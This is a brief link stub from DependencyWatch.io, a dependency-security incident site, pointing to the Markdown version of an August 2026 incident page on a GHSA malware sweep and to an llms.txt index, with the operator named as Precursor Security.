Markdown version: https://dependencywatch.io/incident/multi-2026-08-31-ghsa-malware-sweep.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).